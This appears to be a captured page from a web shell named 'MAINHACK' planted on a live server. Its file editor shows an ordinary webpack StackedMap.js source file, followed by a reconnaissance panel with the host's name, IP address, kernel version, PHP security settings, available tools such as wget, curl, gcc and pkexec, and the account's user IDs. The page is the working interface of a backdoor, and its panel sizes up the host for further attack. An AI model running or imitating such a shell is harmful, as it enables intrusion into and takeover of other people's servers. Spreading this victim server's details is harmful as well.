[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: StackedMap.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const TOMBSTONE = Symbol("tombstone"); const UNDEFINED_MARKER = Symbol("undefined"); /** * @template T * @typedef {T | undefined} Cell<T> */ /** * @template T * @typedef {T | typeof TOMBSTONE | typeof UNDEFINED_MARKER} InternalCell<T> */ /** * @template K * @template V * @param {[K, InternalCell<V>]} pair the internal cell * @returns {[K, Cell<V>]} its “safe” representation */ const extractPair = pair => { const key = pair[0]; const val = pair[1]; if (val === UNDEFINED_MARKER || val === TOMBSTONE) { return [key, undefined]; } else { return /** @type {[K, Cell<V>]} */ (pair); } }; /** * @template K * @template V */ class StackedMap { /** * @param {Map<K, InternalCell<V>>[]=} parentStack an optional parent */ constructor(parentStack) { /** @type {Map<K, InternalCell<V>>} */ this.map = new Map(); /** @type {Map<K, InternalCell<V>>[]} */ this.stack = parentStack === undefined ? [] : parentStack.slice(); this.stack.push(this.map); } /** * @param {K} item the key of the element to add * @param {V} value the value of the element to add * @returns {void} */ set(item, value) { this.map.set(item, value === undefined ? UNDEFINED_MARKER : value); } /** * @param {K} item the item to delete * @returns {void} */ delete(item) { if (this.stack.length > 1) { this.map.set(item, TOMBSTONE); } else { this.map.delete(item); } } /** * @param {K} item the item to test * @returns {boolean} true if the item exists in this set */ has(item) { const topValue = this.map.get(item); if (topValue !== undefined) { return topValue !== TOMBSTONE; } if (this.stack.length > 1) { for (let i = this.stack.length - 2; i >= 0; i--) { const value = this.stack[i].get(item); if (value !== undefined) { this.map.set(item, value); return value !== TOMBSTONE; } } this.map.set(item, TOMBSTONE); } return false; } /** * @param {K} item the key of the element to return * @returns {Cell<V>} the value of the element */ get(item) { const topValue = this.map.get(item); if (topValue !== undefined) { return topValue === TOMBSTONE || topValue === UNDEFINED_MARKER ? undefined : topValue; } if (this.stack.length > 1) { for (let i = this.stack.length - 2; i >= 0; i--) { const value = this.stack[i].get(item); if (value !== undefined) { this.map.set(item, value); return value === TOMBSTONE || value === UNDEFINED_MARKER ? undefined : value; } } this.map.set(item, TOMBSTONE); } return undefined; } _compress() { if (this.stack.length === 1) return; this.map = new Map(); for (const data of this.stack) { for (const pair of data) { if (pair[1] === TOMBSTONE) { this.map.delete(pair[0]); } else { this.map.set(pair[0], pair[1]); } } } this.stack = [this.map]; } asArray() { this._compress(); return Array.from(this.map.keys()); } asSet() { this._compress(); return new Set(this.map.keys()); } asPairArray() { this._compress(); return Array.from(this.map.entries(), extractPair); } asMap() { return new Map(this.asPairArray()); } get size() { this._compress(); return this.map.size; } createChild() { return new StackedMap(this.stack); } } module.exports = StackedMap;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.55 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002